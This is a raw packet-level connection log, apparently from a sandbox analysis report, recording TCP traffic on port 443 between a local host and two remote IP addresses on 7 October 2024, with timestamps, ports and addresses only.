Oct 7, 2024 20:59:32.918992043 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.919050932 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.921324015 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.923403025 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.923443079 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.923465967 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.923479080 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.923542023 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.925632000 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.929053068 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.929090023 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.929155111 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.929167986 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.929223061 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.930982113 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.934410095 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.934446096 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.934479952 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.934493065 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.934549093 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.934993029 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.938828945 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.938879967 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.938910961 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.938919067 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.938931942 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.938990116 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.939002991 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.939066887 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.943072081 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.943150997 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.943213940 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.943227053 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.947904110 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.947985888 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.947999001 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.948059082 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.948120117 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.948131084 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.952063084 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.952132940 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.952145100 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.952191114 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.952243090 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.952255011 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.956840038 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.956876993 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.956913948 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.956918001 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.956928968 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.956979990 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.962562084 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.962635040 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.962646961 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.962713957 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.962749958 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.962764978 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.962776899 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.962831974 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.963938951 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.964010000 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.964061022 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.964072943 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.967778921 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.967834949 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.967859983 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.967871904 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.967932940 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.968477964 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.968552113 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:32.968607903 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.969336033 CEST	49804	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:32.969367981 CEST	443	49804	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.256489038 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.257074118 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.257134914 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.257613897 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.258018970 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.258111954 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.258212090 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.303404093 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609338999 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609487057 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609577894 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609632969 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.609668016 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609698057 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.609736919 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.615168095 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.615247011 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.615278006 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.615360975 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.615425110 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.615441084 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.622031927 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.622256994 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.622318983 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.627969027 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.628098011 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.628160000 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.681127071 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.691131115 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.693682909 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.693866014 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.693886042 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.693953037 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.694041967 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.699662924 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.705817938 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.705881119 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.705998898 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.706065893 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.706146955 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.711909056 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.717875957 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.717946053 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.717961073 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.718024969 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.718118906 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.723711014 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.729636908 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.729702950 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.729767084 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.729784966 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.729883909 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.736135006 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.741522074 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.741590023 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.741636992 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.741656065 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.741720915 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.747586012 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.754041910 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.754127026 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.754261971 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.754327059 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.754431963 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.778527975 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.778723955 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.778814077 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.778909922 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.778974056 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.779057026 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.779076099 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.779134989 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.780165911 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.780314922 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.780385017 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.780400038 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.784153938 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.784229040 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.784243107 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.788356066 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.788460016 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.788474083 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.792398930 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.792479992 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.792495012 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.797079086 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.797162056 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.797174931 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.800683022 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.800781965 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.800795078 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.805033922 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.805115938 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.805129051 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.810249090 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.813685894 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.813783884 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.817251921 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.817361116 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.818116903 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.818135977 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.821552992 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.821645975 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.821660042 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.830881119 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.830961943 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.830975056 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.833096981 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.833197117 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.833211899 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.834594965 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.834673882 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.834686995 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.838110924 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.838181019 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.838193893 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.842613935 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.842696905 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.842717886 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.846220016 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.846321106 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.846333027 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.853018999 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.853115082 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.853127956 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.863187075 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.863250017 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.863333941 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.863476992 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.863476992 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.863543034 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.871639967 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.871731043 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.871741056 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.871803999 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.871880054 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.871897936 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872347116 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872417927 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.872431993 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872533083 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872596979 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.872612953 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872828007 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.872890949 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.872904062 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.873528004 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.873624086 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.873631954 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.873660088 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.873720884 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.877279997 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.877777100 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.877842903 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.877860069 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.881874084 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.881962061 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.881975889 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.882428885 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.882503033 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.882548094 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.882565022 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.882639885 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.884733915 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.886482000 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.886564016 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.886571884 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.886589050 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.886651039 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.888411999 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.890568972 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.890639067 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.890652895 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.892359018 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.892441034 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.892441988 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.892466068 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.892533064 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.894527912 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.896281004 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.896351099 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.896363974 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.898220062 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.898293972 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.898319960 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.898334980 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.898397923 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.900147915 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.902328014 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.902398109 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.902410984 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.903974056 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.904052973 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.904056072 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.904078960 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.904140949 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.906292915 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909029961 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909111977 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909136057 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.909152985 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909212112 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.909759045 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909926891 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.909985065 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.909997940 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.916353941 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.916425943 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.916440010 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.916605949 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.916665077 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.916678905 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.916982889 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.917048931 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.917062998 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.917469978 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.917540073 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.917551994 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.919083118 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.919169903 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.919188976 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.920738935 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.920809984 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.920823097 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.922751904 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.922820091 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.922832966 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.924680948 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.924760103 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.924773932 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.926635027 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:33.926712990 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.926894903 CEST	49806	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:33.926923037 CEST	443	49806	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:36.570758104 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:36.570817947 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:36.570935965 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:36.571356058 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:36.571381092 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.013556004 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.013874054 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.013906956 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.016830921 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.016968012 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.017338991 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.017360926 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.017419100 CEST	443	49807	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.017430067 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.017483950 CEST	49807	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.017988920 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.018033981 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.018157005 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.018398046 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.018414974 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.470443010 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.470797062 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.470830917 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.474447966 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.474545002 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.474967003 CEST	49808	443	192.168.2.16	104.21.57.143
